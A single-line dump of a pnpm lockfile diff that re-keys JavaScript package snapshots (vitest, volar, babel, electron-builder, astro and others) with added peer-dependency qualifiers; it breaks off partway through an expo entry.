utf-8-validate - - vite - optional: true - - '@vitest/mocker@5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))': + '@vitest/mocker@5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))': dependencies: '@jridgewell/trace-mapping': 0.3.31 '@vitest/spy': 5.0.5 @@ -17313,18 +16992,7 @@ snapshots: magic-string: 1.4.3 optionalDependencies: msw: 2.12.11(@types/node@24.12.4)(typescript@7.0.2) - vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' - - '@vitest/mocker@5.0.5(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(vite@8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0))': - dependencies: - '@jridgewell/trace-mapping': 0.3.31 - '@vitest/spy': 5.0.5 - estree-walker: 3.0.3 - magic-string: 1.4.3 - optionalDependencies: - msw: 2.12.11(@types/node@24.12.4)(typescript@7.0.2) - vite: 8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0) - optional: true + vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' '@vitest/pretty-format@5.0.5': dependencies: @@ -17347,7 +17015,7 @@ snapshots: pathe: 2.0.3 sirv: 3.0.2 tinyrainbow: 3.2.0 - vitest: 5.0.5(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/browser-preview@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) + vitest: 5.0.5(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/browser-preview@5.0.5)(@vitest/ui@5.0.5)(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) '@vitest/utils@5.0.5': dependencies: @@ -17355,7 +17023,7 @@ snapshots: convert-source-map: 2.0.0 tinyrainbow: 3.2.0 - '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@6.0.3)(unrun@0.2.39)(yaml@2.9.0)': + '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@6.0.3))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@6.0.3)(unrun@0.2.39)(yaml@2.9.0)': dependencies: '@oxc-project/runtime': 0.154.0 '@oxc-project/types': 0.154.0 @@ -17372,7 +17040,7 @@ snapshots: '@voidzero-dev/vite-plus-linux-x64-musl': 1.3.0 '@voidzero-dev/vite-plus-win32-arm64-msvc': 1.3.0 '@voidzero-dev/vite-plus-win32-x64-msvc': 1.3.0 - '@volar/typescript': 2.4.28 + '@volar/typescript': 2.4.28(typescript@6.0.3) esbuild: 0.28.2 fsevents: 2.3.3 jiti: 2.7.0 @@ -17381,7 +17049,7 @@ snapshots: unrun: 0.2.39 yaml: 2.9.0 - '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)': + '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)': dependencies: '@oxc-project/runtime': 0.154.0 '@oxc-project/types': 0.154.0 @@ -17398,7 +17066,7 @@ snapshots: '@voidzero-dev/vite-plus-linux-x64-musl': 1.3.0 '@voidzero-dev/vite-plus-win32-arm64-msvc': 1.3.0 '@voidzero-dev/vite-plus-win32-x64-msvc': 1.3.0 - '@volar/typescript': 2.4.28 + '@volar/typescript': 2.4.28(typescript@7.0.2) esbuild: 0.28.2 fsevents: 2.3.3 jiti: 2.7.0 @@ -17433,8 +17101,8 @@ snapshots: '@volar/kit@2.4.28(typescript@6.0.3)': dependencies: - '@volar/language-service': 2.4.28 - '@volar/typescript': 2.4.28 + '@volar/language-service': 2.4.28(typescript@6.0.3) + '@volar/typescript': 2.4.28(typescript@6.0.3) typesafe-path: 0.2.2 typescript: 6.0.3 vscode-languageserver-textdocument: 1.0.12 @@ -17444,32 +17112,47 @@ snapshots: dependencies: '@volar/source-map': 2.4.28 - '@volar/language-server@2.4.28': + '@volar/language-server@2.4.28(typescript@6.0.3)': dependencies: '@volar/language-core': 2.4.28 - '@volar/language-service': 2.4.28 - '@volar/typescript': 2.4.28 + '@volar/language-service': 2.4.28(typescript@6.0.3) + '@volar/typescript': 2.4.28(typescript@6.0.3) path-browserify: 1.0.1 request-light: 0.7.0 vscode-languageserver: 9.0.1 vscode-languageserver-protocol: 3.17.5 vscode-languageserver-textdocument: 1.0.12 vscode-uri: 3.1.0 + optionalDependencies: + typescript: 6.0.3 - '@volar/language-service@2.4.28': + '@volar/language-service@2.4.28(typescript@6.0.3)': dependencies: '@volar/language-core': 2.4.28 vscode-languageserver-protocol: 3.17.5 vscode-languageserver-textdocument: 1.0.12 vscode-uri: 3.1.0 + optionalDependencies: + typescript: 6.0.3 '@volar/source-map@2.4.28': {} - '@volar/typescript@2.4.28': + '@volar/typescript@2.4.28(typescript@6.0.3)': + dependencies: + '@volar/language-core': 2.4.28 + path-browserify: 1.0.1 + vscode-uri: 3.1.0 + optionalDependencies: + typescript: 6.0.3 + + '@volar/typescript@2.4.28(typescript@7.0.2)': dependencies: '@volar/language-core': 2.4.28 path-browserify: 1.0.1 vscode-uri: 3.1.0 + optionalDependencies: + typescript: 7.0.2 + optional: true '@vscode/emmet-helper@2.11.0': dependencies: @@ -17599,12 +17282,12 @@ snapshots: optionalDependencies: ajv: 8.20.0 - ajv-formats@2.1.1(ajv@8.20.0): - optionalDependencies: + ajv-formats@2.1.1: + dependencies: ajv: 8.20.0 - ajv-formats@3.0.1(ajv@8.20.0): - optionalDependencies: + ajv-formats@3.0.1: + dependencies: ajv: 8.20.0 ajv-keywords@5.1.0(ajv@8.20.0): @@ -17627,9 +17310,9 @@ snapshots: json-schema-traverse: 1.0.0 require-from-string: 2.0.2 - alchemy@2.0.0-beta.80(patch_hash=bea1b6c0c0b23157fd5f439a1d7feff430f28ac1621ba135d8a13eeec60ccacd)(d214a55921b9b1c12454f5ddcf93cf1a): + alchemy@2.0.0-beta.80(patch_hash=bea1b6c0c0b23157fd5f439a1d7feff430f28ac1621ba135d8a13eeec60ccacd)(c76a5fb0ee7617c9ee4d0d91c51d5e28): dependencies: - '@alchemy.run/cloudflare-runtime': 2.0.0-beta.80(@distilled.cloud/cloudflare@1.0.0-rc.13(effect@4.0.5))(@effect/platform-node@4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6))(@types/node@24.12.4)(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(effect@4.0.5)(rolldown@1.2.5)(typescript@7.0.2) + '@alchemy.run/cloudflare-runtime': 2.0.0-beta.80(@distilled.cloud/cloudflare@1.0.0-rc.13(effect@4.0.5))(@effect/platform-node@4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6))(@types/node@24.12.4)(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(effect@4.0.5)(rolldown@1.2.5)(typescript@7.0.2) '@alchemy.run/floci': 2.0.0-beta.80(effect@4.0.5) '@alchemy.run/node-utils': 2.0.0-beta.80 '@alchemy.run/sigil': 0.1.0-alpha.1(@types/react@19.3.0)(react-devtools-core@6.1.5(bufferutil@4.1.0)(utf-8-validate@6.0.6)) @@ -17668,12 +17351,12 @@ snapshots: optionalDependencies: '@effect/platform-node': 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) '@effect/sql-pg': 4.0.5(effect@4.0.5) - '@effect/vitest': 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + '@effect/vitest': 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) drizzle-kit: 1.0.0-rc.5-ab785fc - drizzle-orm: 1.0.0-rc.5-ab785fc(@cloudflare/workers-types@4.20260604.1)(@effect/sql-d1@4.0.0(effect@4.0.5))(@effect/sql-pg@4.0.5(effect@4.0.5))(@effect/sql-sqlite-bun@4.0.0-rc.112(effect@4.0.5))(@effect/sql-sqlite-do@4.0.5(effect@4.0.5))(@electric-sql/pglite@0.3.15)(@libsql/client@0.17.3(bufferutil@4.1.0)(utf-8-validate@6.0.6))(bun-types@1.3.14)(effect@4.0.5)(expo-sqlite@58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(pg@8.23.0)(valibot@1.2.0(typescript@7.0.2))(zod@4.4.3) + drizzle-orm: 1.0.0-rc.5-ab785fc(@cloudflare/workers-types@4.20260604.1)(@effect/sql-d1@4.0.0(effect@4.0.5))(@effect/sql-pg@4.0.5(effect@4.0.5))(@effect/sql-sqlite-bun@4.0.0-rc.112(effect@4.0.5))(@effect/sql-sqlite-do@4.0.5(effect@4.0.5))(@electric-sql/pglite@0.3.15)(@libsql/client@0.17.3(bufferutil@4.1.0)(utf-8-validate@6.0.6))(bun-types@1.3.14)(effect@4.0.5)(expo-sqlite@58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0))(pg@8.23.0)(valibot@1.2.0(typescript@7.0.2))(zod@4.4.3) mongodb: 6.21.0(@aws-sdk/credential-providers@3.1062.0)(socks@2.8.9) pg: 8.23.0 - vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' + vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' ws: 8.22.0(bufferutil@4.1.0)(utf-8-validate@6.0.6) transitivePeerDependencies: - '@types/node' @@ -17725,33 +17408,33 @@ snapshots: anynum@1.0.1: optional: true - app-builder-lib@26.16.1(patch_hash=a28c2dfcfc2b90d6c6247e199e6537391db9ecd941854c650910d607442512d3)(dmg-builder@26.16.1)(electron-builder-squirrel-windows@26.16.1): + app-builder-lib@26.16.1(patch_hash=a28c2dfcfc2b90d6c6247e199e6537391db9ecd941854c650910d607442512d3)(dmg-builder@26.16.1)(electron-builder-squirrel-windows@26.16.1)(supports-color@8.1.1): dependencies: '@electron/asar': 3.4.1 '@electron/fuses': 1.8.0 - '@electron/get': 3.1.0 - '@electron/notarize': 2.5.0 - '@electron/osx-sign': 1.3.3 - '@electron/rebuild': 4.0.4 - '@electron/universal': 2.0.3 - '@malept/flatpak-bundler': 0.4.0 + '@electron/get': 3.1.0(supports-color@8.1.1) + '@electron/notarize': 2.5.0(supports-color@8.1.1) + '@electron/osx-sign': 1.3.3(supports-color@8.1.1) + '@electron/rebuild': 4.0.4(supports-color@8.1.1) + '@electron/universal': 2.0.3(supports-color@8.1.1) + '@malept/flatpak-bundler': 0.4.0(supports-color@8.1.1) '@noble/hashes': 1.8.0 '@peculiar/webcrypto': 1.7.1 '@types/fs-extra': 9.0.13 ajv: 8.20.0 asn1js: 3.0.10 async-exit-hook: 2.0.1 - builder-util: 26.16.0 - builder-util-runtime: 9.7.0 + builder-util: 26.16.0(supports-color@8.1.1) + builder-util-runtime: 9.7.0(supports-color@8.1.1) chromium-pickle-js: 0.2.0 ci-info: 4.3.1 - debug: 4.4.3 - dmg-builder: 26.16.1(electron-builder-squirrel-windows@26.16.1) + debug: 4.4.3(supports-color@8.1.1) + dmg-builder: 26.16.1(electron-builder-squirrel-windows@26.16.1)(supports-color@8.1.1) dotenv: 16.6.1 dotenv-expand: 11.0.7 ejs: 3.1.10 - electron-builder-squirrel-windows: 26.16.1(dmg-builder@26.16.1) - electron-publish: 26.16.0 + electron-builder-squirrel-windows: 26.16.1(dmg-builder@26.16.1)(supports-color@8.1.1) + electron-publish: 26.16.0(supports-color@8.1.1) fs-extra: 10.1.0 hosted-git-info: 4.1.0 isbinaryfile: 5.0.7 @@ -17795,7 +17478,7 @@ snapshots: assertion-error@2.0.1: {} - astro@7.3.5(@types/node@24.12.4)(@volar/typescript@2.4.28)(aws4fetch@1.0.20)(idb-keyval@6.2.1)(ioredis@5.11.0)(jiti@2.7.0)(terser@5.48.0)(typescript@6.0.3)(unrun@0.2.39)(yaml@2.9.0): + astro@7.3.5(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@6.0.3))(aws4fetch@1.0.20)(idb-keyval@6.2.1)(ioredis@5.11.0(supports-color@8.1.1))(jiti@2.7.0)(terser@5.48.0)(typescript@6.0.3)(unrun@0.2.39)(yaml@2.9.0): dependencies: '@astrojs/compiler-rs': 0.5.1 '@astrojs/internal-helpers': 0.11.0 @@ -17843,10 +17526,10 @@ snapshots: tinyglobby: 0.2.17 ultrahtml: 1.7.0 unifont: 0.7.5 - unstorage: 1.17.5(aws4fetch@1.0.20)(idb-keyval@6.2.1)(ioredis@5.11.0) + unstorage: 1.17.5(aws4fetch@1.0.20)(idb-keyval@6.2.1)(ioredis@5.11.0(supports-color@8.1.1)) verkit: 0.4.1 - vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@6.0.3)(unrun@0.2.39)(yaml@2.9.0)' - vitefu: 1.1.3(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@6.0.3)(unrun@0.2.39)(yaml@2.9.0)) + vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@6.0.3))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@6.0.3)(unrun@0.2.39)(yaml@2.9.0)' + vitefu: 1.1.3(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@6.0.3))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@6.0.3)(unrun@0.2.39)(yaml@2.9.0) xxhash-wasm: 1.1.0 yargs-parser: 22.0.0 zod: 4.6.5 @@ -17912,36 +17595,36 @@ snapshots: axobject-query@4.1.0: {} - babel-dead-code-elimination@1.0.12: + babel-dead-code-elimination@1.0.12(supports-color@8.1.1): dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/parser': 7.29.8 - '@babel/traverse': 7.29.7 + '@babel/traverse': 7.29.7(supports-color@8.1.1) '@babel/types': 7.29.8 transitivePeerDependencies: - supports-color - babel-plugin-polyfill-corejs2@0.4.17(@babel/core@7.29.7): + babel-plugin-polyfill-corejs2@0.4.17(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1): dependencies: '@babel/compat-data': 7.29.7 - '@babel/core': 7.29.7 - '@babel/helper-define-polyfill-provider': 0.6.8(@babel/core@7.29.7) + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/helper-define-polyfill-provider': 0.6.8(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) semver: 6.3.1 transitivePeerDependencies: - supports-color - babel-plugin-polyfill-corejs3@0.13.0(@babel/core@7.29.7): + babel-plugin-polyfill-corejs3@0.13.0(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1): dependencies: - '@babel/core': 7.29.7 - '@babel/helper-define-polyfill-provider': 0.6.8(@babel/core@7.29.7) + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/helper-define-polyfill-provider': 0.6.8(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) core-js-compat: 3.49.0 transitivePeerDependencies: - supports-color - babel-plugin-polyfill-regenerator@0.6.8(@babel/core@7.29.7): + babel-plugin-polyfill-regenerator@0.6.8(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1): dependencies: - '@babel/core': 7.29.7 - '@babel/helper-define-polyfill-provider': 0.6.8(@babel/core@7.29.7) + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/helper-define-polyfill-provider': 0.6.8(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) transitivePeerDependencies: - supports-color @@ -17955,61 +17638,61 @@ snapshots: dependencies: hermes-parser: 0.36.1 - babel-plugin-transform-flow-enums@0.0.2(@babel/core@7.29.7): + babel-plugin-transform-flow-enums@0.0.2(@babel/core@7.29.7(supports-color@8.1.1)): dependencies: - '@babel/plugin-syntax-flow': 7.29.7(@babel/core@7.29.7) + '@babel/plugin-syntax-flow': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) transitivePeerDependencies: - '@babel/core' - babel-preset-expo@58.0.17(@babel/core@7.29.7)(@babel/runtime@7.29.7)(expo-widgets@58.0.20)(expo@58.0.14)(react-refresh@0.14.2): + babel-preset-expo@58.0.17(@babel/core@7.29.7(supports-color@8.1.1))(@babel/runtime@7.29.7)(expo-widgets@58.0.20)(expo@58.0.14)(react-refresh@0.14.2)(supports-color@8.1.1): dependencies: '@babel/generator': 7.29.7 - '@babel/helper-module-imports': 7.29.7 - '@babel/plugin-proposal-decorators': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-proposal-export-default-from': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-syntax-dynamic-import': 7.8.3(@babel/core@7.29.7) - '@babel/plugin-syntax-export-default-from': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-syntax-nullish-coalescing-operator': 7.8.3(@babel/core@7.29.7) - '@babel/plugin-syntax-optional-chaining': 7.8.3(@babel/core@7.29.7) - '@babel/plugin-transform-async-generator-functions': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-async-to-generator': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-block-scoping': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-class-properties': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-class-static-block': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-classes': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-destructuring': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-export-namespace-from': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-flow-strip-types': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-for-of': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-logical-assignment-operators': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-modules-commonjs': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-named-capturing-groups-regex': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-nullish-coalescing-operator': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-object-rest-spread': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-optional-catch-binding': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-optional-chaining': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-parameters': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-private-methods': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-private-property-in-object': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-react-display-name': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-react-jsx': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-react-jsx-development': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-react-pure-annotations': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-runtime': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-typescript': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-unicode-regex': 7.29.7(@babel/core@7.29.7) - '@babel/preset-typescript': 7.29.7(@babel/core@7.29.7) - '@react-native/babel-plugin-codegen': 0.88.0(@babel/core@7.29.7) + '@babel/helper-module-imports': 7.29.7(supports-color@8.1.1) + '@babel/plugin-proposal-decorators': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-proposal-export-default-from': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-syntax-dynamic-import': 7.8.3(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-syntax-export-default-from': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-syntax-nullish-coalescing-operator': 7.8.3(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-syntax-optional-chaining': 7.8.3(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-async-generator-functions': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-async-to-generator': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-block-scoping': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-class-properties': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-class-static-block': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-classes': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-destructuring': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-export-namespace-from': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-flow-strip-types': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-for-of': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-logical-assignment-operators': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-modules-commonjs': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-named-capturing-groups-regex': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-nullish-coalescing-operator': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-object-rest-spread': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-optional-catch-binding': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-optional-chaining': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-parameters': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-private-methods': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-private-property-in-object': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-react-display-name': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-react-jsx': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-react-jsx-development': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-react-pure-annotations': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-runtime': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-typescript': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-unicode-regex': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/preset-typescript': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@react-native/babel-plugin-codegen': 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) babel-plugin-react-compiler: 1.0.0 babel-plugin-react-native-web: 0.21.4 babel-plugin-syntax-hermes-parser: 0.36.1 - babel-plugin-transform-flow-enums: 0.0.2(@babel/core@7.29.7) - debug: 4.4.3 + babel-plugin-transform-flow-enums: 0.0.2(@babel/core@7.29.7(supports-color@8.1.1)) + debug: 4.4.3(supports-color@8.1.1) react-refresh: 0.14.2 optionalDependencies: '@babel/runtime': 7.29.7 - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) - expo-widgets: 58.0.20(patch_hash=8bf49067f93742855e15f29559ac75c8b50230b47069060993c9ea01dac11171)(@babel/core@7.29.7)(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native-worklets@0.13.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) + expo-widgets: 